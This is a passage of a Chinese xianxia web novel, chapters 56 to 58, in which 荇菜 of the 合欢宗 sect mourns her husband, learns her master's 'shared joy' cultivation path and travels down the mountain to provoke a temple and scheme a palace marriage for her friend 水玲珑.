喝醉的水玲珑问过那充满色彩的问题后，荇菜醉醺醺地进入汤池殿洗浴，在自抚满足时一念神动进入蜃珠洞府。她根本没想到会进入蜃珠洞府，只是一念神荡，身影消失在汤池，落进凤武的怀。
难得有酒，凤武正喝得兴起，半空掉下个湿漉漉的赤身紫眸美人。眸光水润、满目春情，肤如凝脂、声如春啼，是个男人都会对这等绝色女子心动，何况一只正值壮年的雄鸟，他当场被迷得一塌糊涂。
木屋的地板上，两人颠鸾倒凤，互亲互抚，只差临门一脚就成好事。咕噜噜的酒坛被两人撞滚到木屋的楼梯口，摇摆几下后砸在冰面，发出撞击声。荇菜在紧要关头理智过笼，拂开凤武，落回莲花殿的汤池。
酒后乱性，真就一塌糊涂。
凤武在蜃珠洞府里丢了美人，岂不心痒难耐、念念不忘。他把一切都怪在捣乱的酒坛子，抱着它又骂又爱，从对荇菜的恨、记、想、思、念……到此刻又回归恨。
这个让他魂牵梦萦一月的女人竟为别的男人挡火，被气煞了。
“主人，您是打算放我回羽民国吗？”凤武咬牙切齿念出几字，眼神一点没给面前的欧阳燕歌，只盯向荇菜撇开的侧容，越瞧越火热，燥得想按死碍事的男人。
“记得杀掉狐羽，本尊要他的精魄。”荇菜没看他，转身离去。
“是。主人。”凤武咬牙应下，眼神落在欧阳燕歌处，瞧着他那谄笑的脸越发觉得恶心。
摆脸骂句：“不知所谓。”
56. 第 56 章
“哎？”欧阳燕歌见凤武化光离去，喊道，“谁不知所谓，堂堂凤尊还下跪被打脸呢。”捂口又拍掌，嘀咕着，“气死我了，竟然迟一步。早知道就应该让凤武早点离开。”
又高声喊，“小仙女……我要走了，不出来送送吗？”
“滚。”荇菜在花涟待过的木屋里回一字。
欧阳燕歌在木屋外取出一枚卜算用的漆黑色天地珏，糅合成一枚珠子放在玉盒。
他朝木屋道：“小仙女，脚镯上的铃铛不少空着呢，这是我的幸运石，送你当铃铛珠，可以增强气运。你别不信啊。我走了，小仙女，真不出来送送我吗？”
这时，凤武去而复返，如巨兽般霸气落地，吓到了叭叭不断的欧阳燕歌。
欧阳燕歌：“凤尊，你怎么……哎……”
凤武没给他眼神，却一脚踢掉欧阳燕歌放在木屋门前石凳上的玉盒。
欧阳燕歌气得够呛，怼脸就骂他：“你踢我东西干嘛？四张石凳，你非得放离门近吗？过分了，无理取闹，莽夫吗？”
凤武当欧阳燕歌不存在，取出腰间玉匣扔在原来欧阳燕歌摆放玉盒的地方，嚅唇几次才出声：“……主人，这是还你……被火烧死的神风驹。”
长吸口气，又道，“当年，你落在阳梧山，我以涅槃火烧你是我不对。这么多年，你困我、折磨我、奴役我……总该出这口怨气。往后，你我恩怨两清，如何？”我们……重新开始……
久等没听到木屋里的动静。凤武长吸口气，睨向看戏的欧阳燕歌，冷哼：“朱红颖让你来找本尊。既然本尊已经在这，你也可以离开此地。”
“凭什么？”你让我走我还不走了。我爱去哪去哪。
欧阳燕歌要扭头就被抓住肩膀，“哎哎哎……放手……”
凤武完全不给欧阳燕歌反抗的机会，抓起欧阳燕歌就遁空离去，与半空的朱红颖汇合，直奔羽民国。
荇菜推开木门，遥看白云悠悠的蓝天，天际已经没有他们的身影。
“两清？不过是我的奴仆，怎么就两清？”摄取重归石凳上的幸运石，以及凤武留下的玉盒，“一个分身，一个奴隶。嗤，因果相缠，剪不断理还乱。”
她放出神风驹，马匹火红的颜色真是让人眼前一亮，令它去灵兽峰生活。
贺喜在欢喜峰头瞧着天际来来去去的灵光，再也坐不住跑去莲花峰。
他看着在地里种菜的荇菜，憋几次，还是道：“我说弟妹妹，你已经嫁给我兄弟。虽然，我兄弟死了，可是他让你活下去。但是，你不能不守妇道啊。”
“你说什么？”荇菜撇眸，冷冷地睨去，嗤笑，“合欢宗守妇道？你怎么不找水幻说去。你不敢。”
“不是。水幻她没嫁人啊。”贺喜还要再说，一道冰棱直戳脖前，咬牙住口。
“好走，不送。”荇菜拍掉手上的泥，挥掉贺喜面前的冰锥。
贺喜切齿：一个火灵根修士怎么会用冰，这不是相克属性吗？当年，我送她上山也没发现有水火灵根啊。
他见荇菜离开，当即喊：“弟妹妹，我不是故意戳你肺管子。但是，有一件事我不吐不快，得为我花兄弟伸冤、鸣不平。”
“说。”荇菜立在木屋前，背对他。
“我花兄弟渡劫失败时，抓着我的手说：通知雷火寺龙弼大师，他可以证明，感应到他，他确实没死。话已经传给雷火寺，那边给做场法事，放话说：不再向合欢妖女追究惊蛰大师的事。”
荇菜发空的目光直愣愣地看向脚边的杂草。这株长在门前的草生机勃勃，每每能得到进出屋子人的灵力馈赠。不论是花涟还是她，进出屋门都会避开它，只因它的顶端开一朵红艳艳的小花，很是可爱。
“继续……说下去。”
贺喜没有察觉她的气息变化，继续道：“……花兄弟一辈子没下过几次山，与雷火寺更无关系。若他真扯上事，必是为你。你应该要知道他的苦心。
一月前，赖大回来给你做管事，领回来个男人。如今，天际火光熠熠，又有妖族来去……哎，你没说错，咱们是合欢宗，不守妇道也没事，但你避着点人啊。
啊……”
贺喜被荇菜汹涌的火气轰击地倒飞出去，砸在菜圃外，呕出一大口血。他颤巍巍地看向俯视的荇菜，委屈地张口：“你……”
“滚，以后莲花峰不请，不准入山。”
“你……”贺喜指着凶神恶煞、却又美得让人怒火攻心忍不住想叭叭几句的女人，最后衡量下彼此的实力，打不过又不能打，一下子遁地消失。
荇菜的眼神空茫，环顾莲花峰的四周，空落落的孤独感不期然袭来。山里的风还是那阵风，却再没有那个男人披着星辉明月从木屋里走来，衣摆拂过那朵小花时散落点滴的灵力，温暖又温柔地瞩目过来。
她仰天长吸口气，蹲下身来整理被火气灼死的灵蔬。
这个月里，荇菜按花涟留下的记忆不断地种灵蔬。它们又不断地陆续死掉，似乎种菜本身是一件很困难的事。何况，忘记一段短暂又刻骨的爱恋。
清欢宗主因着贺喜的告状，前来莲花峰。看着勤勤恳恳种菜的荇菜，一言不发地离去：沉溺情殇的女人哪有空红杏出墙，恐怕是贺喜这家伙想要欺友妻吧，得阻止他骚扰莲花峰。
水幻因着水玲珑的相请前来莲花峰，瞧着喂灵兽发呆的女子，转身离去：没法劝。有些伤，靠别人渡不过，只能靠时间和孤独疗愈。
数月过去，半月尊者落在菜圃，瞧着翻土的荇菜，莞尔道：“翻土时将灵力藏入土壤，确实是好方法。但是，你的灵力只能加速种子的死亡。”
荇菜握紧锄头，看着脚下的黑土：“为什么？我明明按照他留下的方法种植，却一直种不活。这已经是第一千零七十八次……”
半月尊者沉默，这意味眼前的女人已经想那个男人一千零七十八次。
不动声色地走近，轻笑出声，她蹲下身捏把荇菜翻过的泥土，感应过后拍掉泥土：“你的灵力太过均衡。毕竟，尺有长短，人有参差，种子也有强弱胖瘦，所谓虚不受补，壮不过盛。”
荇菜思量着，从腰包里取出一把种子，细细地挑拣。
半月尊者瞧着她动静相宜的神态，满意地点头。凑近荇菜的耳旁，指点道：“这颗胖，哎，对，这颗瘦……”
两人把分类后的种子安土壤内的灵力含量分开播种。
撒完种子后，荇菜起手掐诀准备洒水。
半月尊者一把握住荇菜的手：劳作数月，双手依旧光滑如新，真是好苗子。
打断她的法诀，呵笑：“偷懒啊？本尊记得那小子亲手洒水。”
荇菜抽出手，转回木架子上拿水壶，亲自洒水浇灌。土壤里的灵蔬种子以肉眼可见的速度发芽抽杆，快速地生长出两片绿叶。
半月尊者：“够了。过犹不及，再浇下去，它们又该因灵力过盛而烧死了。”
荇菜听话地放回水壶，又去拔掉被灵力滋养而生的杂草。
听得进劝，尚可教导。
半月尊者含笑点头，忽然道：“知道什么是合欢道吗？”
荇菜头也不回：“男女身／下那点事，不就是合欢？”
“浅薄。”半月尊者瞧她的手伸向下一棵杂草，“等等。”
荇菜回过神，刚才这人用了清音术。合欢宗有言惑术迷人，自然也有清音术醒神。
她终于拿正眼看去：女子姿容曼妙，与清风山野相合，油然生出一种非常难以理解的亲近感，花草是她，山峰是她，风月是她，岁月也是她。
“这叫法相。”半月尊者看出她眼里的痴迷，自顾蹲下身，贴近荇菜的面前，指向她手边的杂草和灵蔬，“你瞧瞧，这是不是相合？”
“相合？草、灵蔬？”荇菜不解地收回手，“法相是合体期修士修炼出来的神通，分为文、武两相。”
“花小子教你很多啊。他也拔草，但他不
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像你这么拔。”半月尊者拂过杂草，杂草的生机消散，而旁边的灵蔬又长出一片叶脉，比旁边的灵蔬都大一圈。
荇菜种几个月，第一次看到长出三片叶的灵蔬。以往不是没发芽，就是发芽也只能长出两片叶，再后来烂根而死。
“他也不是这么拔草。但是，你是怎么做到？我一直种不好。”
“呵，这就是合欢啊。”半月尊者足尖点地，浮空而起。周身风流，引来闻道而动的鸟雀、花蕊，尽皆相合相缠。
自然灵力包围中的半月尊者舒服地嘤呤了声，轻歌曼舞，天地浮游，“你瞧这天和地，风和云，远如日月星辰、寰宇时空。近在我身边的花叶鸟雀，触手可碰如你身边的灵蔬杂草，去感受它们。
它们正在合欢，万物皆在合欢。物与物的合欢，人与人的合欢，人与道的合欢，自然与法则的合欢，此乃：同欢。”
“合欢、同欢？”荇菜接住飘落的桃花瓣，这是果树林里的花瓣。空中的鸟儿高亢地啼鸣，扑翅间追逐花瓣，游走在半月尊者的周围，正在经历一场与花的狂热爱恋。
体内的《玉石还阳功》流转得越发快，感受到某种召唤，向半月尊者漂浮而去。
半月尊者与荇菜伸来的手十指相缠，悠悠笑言：“你以为的合欢仅仅是男女身体那点事？”
“合欢不就是通过交/\合的方式，吸取他人的灵力提高自己的修为？”荇菜应道，却在半月尊者的指尖、眉梢、眼眸……周身，感受到“她与自然岁月合欢”的奇妙意境。
“你还是个刚入道的小姑娘呢。有着逆天的功法，无上的资质，却没有匹配的道境。”
半月尊者松开荇菜，游走在花鸟的包围里，倾斜身姿，舒展四肢。樱口发出一声轻轻地应呼天地喘息得：“a”。
这是一声春天般的高亢春鸣，引动自然法则，勾出万物与生俱来对春的渴望。
合欢宗境内所有生灵皆在这一声“啊”里被唤醒，放下正在做的事，呼应着发出一声从心底而生的：“啊……”
人有声、树无声，或心旌或动摇，皆发出一声高亢的鸣声，这是对春的召唤。
荇菜捂在心口，一股轰击神魂的情被引动而生，潮不期而至。
轻轻地喘息着，被半月尊者搂进怀。
她望入一双蕴藏天地道法的美妙眼眸，藏着无上大道，名曰：合欢道。
合欢宗的大殿上，清欢尊者捂住发出叫声的嘴巴，扇了扇发热的面颊：“老祖宗发什么春，真是防不胜防啊。”
水幻衣衫不整地出现在大殿：“门中的大灵兽峰乱套了，怎么连鸟兽都不放过，你快去管管。”
“啊？我连自己都管不好，还管禽/兽？这是老祖宗的天地同欢道啊。”
“半月尊者这是要干嘛？”水幻抹把淌在脸侧的热汗，“不行了，我得去泡冷泉。”
清欢宗主喊道：“我也去我也去……”
水幻一脚踹去：“你快去看看灵兽峰，玄龟和仙鹤都搞一块，鱼和鸟也在合欢。”
不说灵兽峰，欢喜峰上的贺喜抱着他的药鼎在蹭啊蹭，遑论门下定力不足的小弟子们。
距离稍远、尚有理智的弟子已经逃离合欢宗，情不自禁的弟子相对眼就抱一块。
整个合欢宗一片春天，各种灵兽嗷嗷叫唤，树木的根系在地下交缠，枝上的花叶摇曳盛开，吸引追逐的鸟雀带来合欢的快乐。
半月尊者仅凭一声就能引出女子极致的快乐。搂住酥软的荇菜，虚浮在半空的鸟雀花海中。
两人皆是无上容颜，芙蓉面上春光潋滟，美得令人恍惚，让人忘却人间烦恼。
“小姑娘，这才是真正的合欢道。天地自然本就合合相生，行云流水，万物尽在欢愉，视为一道，名曰：合欢。
旁人不懂你的苦，你的泪落在谁的心头？
既走此道，该悟此法：吾心欢愉，吾道畅快，悲欢苦乐尽皆为欢，吾道又名：天地同欢道。”
57. 第 57 章
花瓣零碎落地，失去爱人的鸟雀哀歌啼鸣。
荇菜被半月尊者引带落地，望向一地残花，喃喃道：“悲情多伤痛，岂有合欢的说法？”
“因为你还没悟。想悟？拜师吧。”半月尊者根本不在意因花儿残破后留在空中悲鸣的鸟儿，怼脸盯着荇菜，“真是一双好眼睛，潋滟如波，漾情漾怒，怎生这般美？”
“咳咳……老祖宗，能不能收收你的道，咱们弟子都跑光了，没跑得要死在你的道上了。”清欢宗主涨红张脸寻来，脚边摔下一只抽搐细腿、口吐白沫的可怜鸟儿：老祖宗连禽兽都不放过啊。
半月尊者没理他，又朝荇菜道：“拜吾为师，宗主的位置给你坐。”
“不是……”清欢的脸已经红成便秘猪肝色，“半月尊者，徒孙没犯错。”
荇菜的目光穿过半月尊者，望见清欢宗主嗷嗷叫的丑相：“徒孙？作为师叔，怎么能抢宗主师侄的位置。我还是做莲花峰的峰主吧。”
半月尊者已经在轻笑，睨向清欢。
清欢宗主忙不迭点头：“自然自然。师叔真是通情达理。呵呵……”
荇菜也笑睨他：“合欢宗上下都要听我的吩咐。”
清欢宗主呆愣不动，嘴巴张合不知道说什么好。他的意愿完全被两人忽视。
半月尊者挑眉：“可以。不过，你得接受两项考验。”
荇菜狐疑地看向新出炉的师父，静等她说明。
“其一，水幻的弟子——水玲珑，困于情道，你需下山促其好事，让他们两情相悦，让水玲珑风风光光嫁过去。”
荇菜挑眉：“我不帮朋友做决定……”
“清欢，咱们合欢宗有个大计，叫什么？”半月尊者侧身道。
清欢宗主自觉派上用场，拍了下被鸟啼声惊扰的耳膜，轻咳一声：“道祖天尊飞升在即，天生大陆十国八宗将重新洗牌，吾派合欢宗必须有一席之地，派遣门下弟子蛰伏各处，探取情报。”
半月尊者颔首，扬手一道灵威辐向天地：“答得不错。”
合欢宗境内缭绕的春情化烟消散，沉迷在合欢中的万物一个激灵清醒过来，空中的鸟雀集体哑声，无声地飞离。合欢宗境内，万物归于平静。这是她对清欢的奖赏。
又道，“既然你有心做老大，就要学会在乱世洪流到来时保下宗门。水玲珑选得对象……”
清欢宗主：“山泽国主崔洧，十国中现今最年轻有为、计谋手段具是顶级的高手高高手。如若道祖天尊在百年内飞升，崔洧有实力一统十国。我们合欢宗能在他那埋下一颗种子，未来的大陆形势变动时，绝对能占得先筹。”
半月尊者睨他：戏怎么这么多？
荇菜不觉得这个方法好。插手朋友的感情抉择，明显越过自己的底线。
“不如，你问问她愿不愿意啊。”半月尊者瞧出她的为难，含笑道，“你还处在有原则的阶段，这是好事。”
“好。还有呢？”荇菜也决定先听听水玲珑的意愿。
“本尊说过，你的修为太快，境界又不相匹配。所以，本尊要封印你的修为，令你如同凡人般下山历练。你可愿意？”
半月尊者瞧她又蹙眉，探手揉散她眉间的川纹：“美人颦眉，虽美却苦，有时候多笑笑会带来好运。莫不是怕了？”
“必须吗？”
没修为在人间瞎跑有多危险，荇菜对此深有感触。
“不是啊。”半月尊者反手瞬移，捏在清欢的肩头，扣他下跪，“本尊高兴，拜师不必跪。不过，本尊一个不高兴，他就必须跪。除非你不想成为强者，否则就必须下山历练。若你想学你那已经逝去的道侣，也无妨。不过，若他强点，未必不能渡劫成功，对吧？”
清欢宗主：……别扣我肩，疼。收个徒弟罢了，动静闹这么大，非得踩着我和死人去教徒弟！！！疼疼疼！
荇菜瞬间沉色：“我要他跪。”
花涟和别人不同，道祖天尊决定他在世能活多久。不知情缘，尚不知生死道。情缘在系，注定他死在化神劫。
“好。本尊保你。即便道祖天尊亲临，也得掂量本尊的手段。”半月尊者拂过荇菜的额头，压制她一身的修为，又给她一枚保命用的合欢花钿，“行走世间，悟得天地同欢道，就可归来。
若遇上波及生命的危险，花钿的器灵会出来助你。它叫何欢，何处不欢欣的何欢，乃是合欢花器成灵。此后属于你。”
荇菜摸在额心的花钿，感受到一阵冰冰凉凉的酥麻感：“有致麻的功效？”
“远不止如此。准备好就下山吧。”半月尊者一步踏出，侧眸接受荇菜弯下身行的拜师礼，含笑消失在原地。
天色泛黄映红，天边的火烧云如火如荼。
清欢宗主拍掉膝盖上的泥土，长舒口气：总算结束了。
“师叔，要不要取个响亮点的道号？咱们合欢宗……咳，又出个元婴修士，得传告天下嘛。”
荇菜垂眸，想起消失的元婴修士，淡淡道：“什么道号？”
半月尊者的声音传来：“合欢尊者。”
清欢宗主抹把额头不存在的汗：老祖宗真是神出鬼没。
荇菜莞尔：“羽化生说本尊是半副妖体，就叫：合欢妖尊。”
清欢宗主：“哎……哎？妖？”
荇菜正经反问：“合欢妖女，不叫妖尊叫什么？”
半月尊者只发出一声轻笑，随后不再出声。
“行，听师叔吩咐。师侄这就去行文书，宣告十国八宗。”清欢宗主背过身抹汗：两大妖精合体，真是要人命。
莲花峰再次安静，除少了个人，一切都没有变。
荇菜沉默着弯身拂过杂草，杂草依旧生机盎然。
低首看着掌心：“灵力真被封印了。”
采摘一把灵蔬秧苗放进竹篮，前往果林摘三颗桃子，折一枝盛开的三角梅花枝用来插瓶。因灵力被封印，她得爬树摘花，费了好一会功夫。
灵兽峰上，荇菜喂养凤武送的神风驹，一匹通体红色带火红羽翼的独角马：“原本的神风驹死了，朱琴天没了坐骑，瑶姬也还在青虞宗混，不知道她答应我的事办得怎么样？
不如，我
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们下山去见见他们，了了当年的一剑之仇。”
神风驹嘶鸣了声，被荇菜收进灵兽玉珏，带离灵兽峰。
莲花殿的厨房，荇菜烧一盘灵蔬，望向应约前来的水玲珑，推酒盏过去：“接到通知了？”
“嗯。行姐妖尊，师父让我同你下山。”水玲珑懒散地坐下，怏怏地举杯喝口酒，重重地叹了声。
“如果你不想去……”荇菜慢声道。
“我去。我忘不了他，我得去看看，如果……”水玲珑说到这已经出了神。
荇菜没打扰她，也不催促，自顾自得好好吃了顿饭。
饭后，两人约定离山的日子，荇菜又回寝殿，躺在整理一新的床铺，神思念动，进入蜃珠洞府。
冰湖上的木屋里燃烧一簇涅槃火，上面浮动一颗银色的玲珑球。
曾经捆缚荇菜得两块黑泥在凤武的妙手下成为银色镂空的玲珑火球，也是一座火牢，具有囚禁、撞击等功能。凤武绝对是不出世的炼器大师。
荇菜摄过玲珑小球，漂浮的涅槃火主动进入球心。
比起其它功能，荇菜知道这玩意最便捷的功能是照明。随后，她认主法器。
玲珑球悬在她的腰侧，走动时与腰侧的灵兽珏相撞，发出悦耳的叮铃声。
幸运石被她存入万音铃，增加气运。
无法赤足漂浮，万音铃被戴在手腕。
足穿白色踏云靴、穿一身花涟的白衫，插上荷苞发簪，颇有几分儒雅贵子的味道。
冰镜前，荇菜抚摸镜面里的美人，欧阳燕歌说得关于林枷妖僧的故事浮上脑海，“雷火寺、龙弼、惊雷”等名字纷至翻涌而上……
镜子里的书生贵子缓缓地拉开唇角，映出绝世笑靥。
荇菜没有踏足冰雪大厅，只是在洞外立一晚上，落了一身雪。
翌日，水玲珑与荇菜结伴下山，前往山泽国的都城。
水玲珑掀开神风驹拉的琉璃宝车的车帘，朝车厢里的荇菜道：“行姐，我也是美人，能不让我驾车吗？”
“按辈分，我是你师叔祖级别，你驾个车怎么着？轮修为，你是金丹修士，我是凡人。在半空驾车，没得被风吹下去摔死。你就好好吹吹风，醒醒那恋爱脑。”荇菜的目光穿过车帘，望向下方的群山，一声幽长的钟鸣吸引她，“下面是什么地方？”
“高昌国境的十方山寺。过十方山的地界才是万里烟波的浩瀚水泽乡。”水玲珑高声道。
“下去，绕十方山寺上空飞一圈。”荇菜一脚踏在马车地板上的阵眼，四周车壁顿时变成单向可视琉璃。她可以在车内看到车外，而车外却看不见车里的场景。
“不好吧？这是挑衅呀。下面可是十方寺，八宗里地位排四。”
“下去。”荇菜只回两字。
“驾……”水玲珑一敲马屁股，神风驹调转方向，向十方山寺上空飞去。
荇菜记得欧阳燕歌画的水墨地理图，指点水玲珑从五座锁妖塔上分别掠过：“天枢、璇玑、玉衡、开阳……原来是七星镇魂阵。说是五座锁妖塔，其实是七座镇魂塔。”
58. 第 58 章
水玲珑听了一耳朵，应道：“传闻十方山寺的五座锁妖塔镇压大妖魔，我数了就是五座，另外两座在哪里？”
“非是塔，而是居住在隐蔽洞穴的守阵者。”若非花涟留下的学识，荇菜也难以窥破阵法内的隐藏秘密。
又想起欧阳燕歌讲过的故事，便能理解十方寺隐藏两处阵眼的原因。
“当年九头妖蛇美兕攻山，十方寺损失惨重，也学会吃一堑长一智，知道埋下暗桩蛰伏，预防危机。”荇菜轻笑，脑里生出一道计策。
火红的神风驹展翅，御风踏云，拉上琉璃宝车从锁妖塔上掠过，引动周遭的灵力起浪，造成镇魂阵应激外显。
十方寺的僧众纷纷从寺里出来，注视上空的飞马香车。圆空大师也被惊动，站在禅房外看向上空掠过的马车，口念佛号：“阿弥陀佛。何方高人拜访十方寺，请下来一会。”
水玲珑躲在琉璃宝车飘飞的绸纱下，哑着喉咙细声道：“姐，下面发声了。”
荇菜不以为意：“飞去雷火寺上空。在那个方向。”
水玲珑服了她：不愧是我行姐，圆空大师发话都不理。
琉璃宝车向雷火寺方向飞掠而去。
圆空大师对身旁的弟子道：“快通知雷火寺，不要着妖人的道。”
小沙弥也是听当年美兕攻山的故事长大，当即去撞警示钟。
琉璃宝车到达雷火寺的上空，十方寺的钟声也传过来。
荇菜的唇尖含笑，目中是深黑郁色，吩咐水玲珑：“停一会。”
雷火寺的火云子乘袈裟飞来，落在琉璃宝车前方：“何方妖孽，竟敢擅闯十方山。”
“嘿，不愧是武僧出名的雷火寺啊，火气真大。”水玲珑正要掰扯两句，一只玉手掀开帘子。
荇菜袖手直身，走上车架踏板。周身一副花涟的白袍装扮，脸面五官更是与花涟无二。
水玲珑的眼神小跳两下，想起这是荇菜拿手的“心神”双术辅以他人气息的易容术，足够以假乱真。
荇菜朝同样惊诧的火云子微笑：“好久不见，火云子。”
她不是来以假乱真，恰恰相反，是来宣战的。
“花涟长老，你不是已经……”火云子嗅到一缕熟悉的佛息，是他挥之不去的梦魇。
若那日在即谷林间阻止惊蛰离去，他就不会死。
这股熟悉的佛息来源就在此人的袖衫底下，那枚铃铛之中。铃铛的主人是合欢妖女。
“是你，施主？施主已经不是合欢妖女，来我雷火寺作什么？”火云子捏紧手中的佛珠，心中急念“阿弥陀佛”，担忧地看向下方的雷火寺。
惊雷一定会出来。
不论花涟说过什么，以死证明什么，龙弼大师又是怎么答应和解，对于惊雷来说，惊蛰是他同生共死的师兄弟，情谊非比寻常。合欢妖女不出现就罢，但凡在他眼前晃，就不可能放过她。
“呵，小师傅还是一如既往的善。”荇菜明了他在看什么，轻笑着，“我已经不是合欢妖女。毕竟，夫君用命为我洗清一半嫌疑。
但是，本尊现在是合欢妖尊。妖么，所行之道，只凭喜好，最喜——为所欲为。
本尊听说十方山寺有五塔，镇压无数妖魔，包括数百年前自创一道的林枷妖僧。他好像很惨，被分尸镇压，连魂魄都藏在幽秘之地。”
火云子的脸色瞬变，生出满满地警惕感：“妖僧林枷害人无数，被镇压是他罪有应得，需为死去的人悔过自新。”
女施主再不是从前那个在道上见到杀妖分尸会逃跑的普通人。
“林枷行得是杀妖分尸镇魂的恶道。惊蛰和惊雷走得不也是此道，有何不同？”荇菜眼见火云子目露惊恐，轻哼轻笑，“这就是你们雷火寺僧人的心魔。以暴制暴、以恶制恶，非是真善而是恶。”
火云子脸色溃变，一副被说中心事的神态。
荇菜再勾唇：“小师傅，谢谢你，守好五塔，说不定哪一天又有妖僧再次现世。到时，你要秉公执法啊。”
瞧见飞掠而来的惊雷，旋身返回车厢，敲在车壁，“玲珑，走吧。”
“好嘞。”水玲珑二话不说拉高马车，向远方怒飞而去。
她怕十方寺的和尚唱佛经，更怕雷火寺的武僧围攻动粗。
惊雷行到半空，火云子已经乘袈裟下落，两人在半空汇合，返回地面。
一众手持法器的武僧围过来，纷纷探问情况。
惊雷看向远去的宝车，朝一言不发、满腹心事的火云子问：“师弟，刚才是谁，这么嚣张。若是妖，我们去杀了她。他们先违反天羽宗和十方寺的规定，破界当诛。”
“是……”火云子住口，朝一众同门道，“诸位师兄师弟们散了吧，不过是一个迷路的修士，已经无事。”待众人散去，他穿戴好袈裟，朝依旧虎视眈眈的惊雷道，“师兄，真得没事，走吧。”
惊雷收回远眺云层的目光，狐疑地看向火云子。突然，他靠近一步，拂过火云子的肩头，帮他整理袈裟的肩头玉扣。
若有似无的佛息在靠近后越发清晰，绝对是属于惊蛰的佛息。而且，这股佛息分明是故意让人嗅出来。
那个女人不仅出山，还前来雷火寺挑衅，为死去的亡夫吗？这些想法刺红惊雷的眼眸。
他不动声色地抬头：“羽民国妖族的神风马驾车，来头不小。既然走了就算了，我们回寺吧。”
火云子低头拂衣摆，没有发现不妥的地方。轻呼口气，自以为瞒得很好，却都落在惊雷的眼底。
惊雷冷哼，目送火云子离去，转眸向天，下一个决定。
晚间，他敲开龙弼大师的禅房，跪礼：“主持，弟子放不下。”
龙弼大师在琉璃宝车走后、火云子前来禀告完，预料到会有这一出。
“花涟施主已经一命赔一命，又告知吾等真相，缘何放不下？冤家宜解不宜结，你是出家人，当学会放下。”
“弟子先是武者而后是僧，武者嫉恶如仇，没有放下之说。惊蛰不是懦夫，不会甘愿赴死。弟子要得只是一个真相，他究竟是怎么死，为什么会死。”惊雷叩拜三下，连夜离开雷火寺，追琉璃宝车离开的方向而去。
**
“行姐，你和火云子说得是什么意思？”水玲珑总觉得荇菜的举动不一般，有种即将天下大乱的感觉。
荇菜瞧向天上的漆黑幕布，探手可摘星辰的感觉真好。
“我要引一个人来找我复仇。”
“谁啊？”水玲珑回顾合欢妖女的经历，失声道，“惊雷……惊蛰大师的师兄？”
“嗯。他和惊蛰是高昌国师守空大师的弟子，情谊非同一般。”他不会轻易放弃对惊蛰之死的追凶。而他也是杀妖分尸镇魂手法的受害者，以恨行道，终被道吞噬的修士，也是一枚即将打破七星镇魂阵的钉子。
比起美兕的外部攻破法，荇菜更喜欢从内部瓦解对手。
水玲珑不解道：“我们不躲着他走，怎么还凑上去？这和尚脾气大得很，而且不分青红皂白、不讲道理。”
“没关系。师父教了，没有灵力有妖术。合欢宗行得是合欢道，一切尽在合合，相遇即欢，呵。”
荇菜杵着下颚，淡看头顶的星辰明月，露出朦胧如雾般的笑靥。
《玉石还阳功》在道境的提升下越发流畅。
荇菜终于理解那种“你会被功法”控制的担忧，提升道境可以很好的解决这个问题。
这就是功法和心境的相辅相成作用。
水玲珑也修合欢道，却觉得荇菜的道已经高出自己许多，无法理解她的道意。
数日后，两人落脚剑仙城，一入城就引起轰动。
男俊女靓，简直是一对神人下凡。城中人见到两人无不心花怒放，追在两人身后试图引起注意。
荇菜在城中租一座大宅落脚，由水玲珑装扮内宅。而宅中的花园属于她，用来学习翻地播种，怡心养性。
两人对外宣称是兄妹，前来剑仙城拜名师学艺，引不少城中的散修到府上自荐。
水玲珑轰走一批滥竽充数的修士，巴拉荇菜的白袍衣袖：“行……兄长，咱们会不会太高调？”
“不高调怎么把
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你的情人引来剑仙城。
当年，崔洧利用鲛童杀死柏木大将军一家，逝者如烟灭，但活着人会找他报仇。我们等一场戏，一场让你名正言顺进宫的戏。期间，不仅能验证崔洧的心意，而且让你有余地想明白求什么。”
荇菜拂身而起，“这些过场已经足够宣扬我们的存在，不必再让散修上门打扰到我们。另外，我已经把消息传给合欢宗的外应，接下来就是等。消息来前，别打扰我种田。”
水玲珑：“……是。”
剑仙城主名唤霍磊，一名凡人，帮山泽国朝堂与青虞宗周璇交涉，颇有能力。
近来朝中为国主一直生不出子嗣烦恼，四处寻找美人送给国主。
霍磊听闻城里来一对男女兄妹，男的丰神俊朗、女的貌若天仙，远胜青虞宗的剑仙。虽然，他不信这两人能真胜过禾诗逸这等形貌气质，但是剑仙是不会轻易下凡。
他决定前去拜访两兄妹，若是可能，就把美人敬献给国主，讨得一二封赏。
水玲珑招待完霍磊，送走人后跑到荇菜的面前大笑。
“哈哈哈，三宫六院那么多女人，崔洧竟然生不出个子嗣，太搞笑吧？哈哈哈，我和他在一起时，没发现他不能生啊。”
荇菜低头规整药苗，不看她癫笑的模样：“十多年没有子嗣，你对他下过药？”
“没有。”水玲珑捂嘴，眼波流转，“行姐，你说他会不会是因为……我？”
“一切不着现实的幻想都是自我催情。不要以为崔洧把皇后位置空着是打算留给你。老皇帝根基深，朝中势力复杂，立后是拉拢势力，不立也是因为势力钳制。何况，修真皇帝寿数比一般人长，迟上十几二十年生育，影响不大。”
荇菜斜瞥讪讪的水玲珑，继续戳她心窝子，“空着后位、子嗣的名分，也不影响他三宫六院的快活。”
从湖边打水，舀水浇灌药苗，“我收到消息，柏木还留有一脉子嗣，活跃在青山城附近，领头人名唤柏黄。你去趟青山城，探问他还有没有复仇的心思。若他没有，你就推他一把。”
“柏黄？当年屡屡刺杀崔洧失败，后被淑妃保下的子侄。淑妃和崔窅也因此人漏出马脚被赐冷宫和幽禁。我离开山泽都城时，他已经消失不见，没想到他躲在青山城。”水玲珑对此有印象，“你要利用柏黄去刺杀崔洧？”
“嗯。你是那颗救驾的明星。以救命恩人的身份重新进入崔洧的视线。若崔洧对你有情，不会追究前因后果，只会惯着你。你可以名正言顺地嫁入皇室。我也能交差。”
水玲珑思量道：“行姐，这是在踩他的底线。崔洧这等人在位十年，帝王一怒，后果不堪设想。”
荇菜不以为意：“不踩底线怎么知道他值不值得你托付终生？爱情么，都是冲动的，戴上脑子还能叫爱情？”
水玲珑幻想崔洧不顾众人反对专宠自己的画面，压住上翘的唇角：“姐，怎么让崔洧到剑仙城呢？若越过他的底线……真发怒怎么办？”
荇菜直起身，望着水勺里的倒影，属于花涟的面孔，轻笑：“你在，他会来，得不到永远在骚动。救驾是为稳固你往后在宫中的地位。他可以冲动，而你必须理智。他发现是你搞鬼又能怎么样？一切都是因为：你爱他啊。”
水玲珑在脑子里转好几圈才明白这套路：他理智时你要胡搅蛮缠说爱。他冲动时你要理智地设伏让他泥足深陷。
重重地点头，掩不住脸上露出欣喜，应下后欢快地离去。
荇菜放下水勺，瞧着她溢出欣喜期待心情的背影，高声道：“玲珑，你已经做出选择吗？”
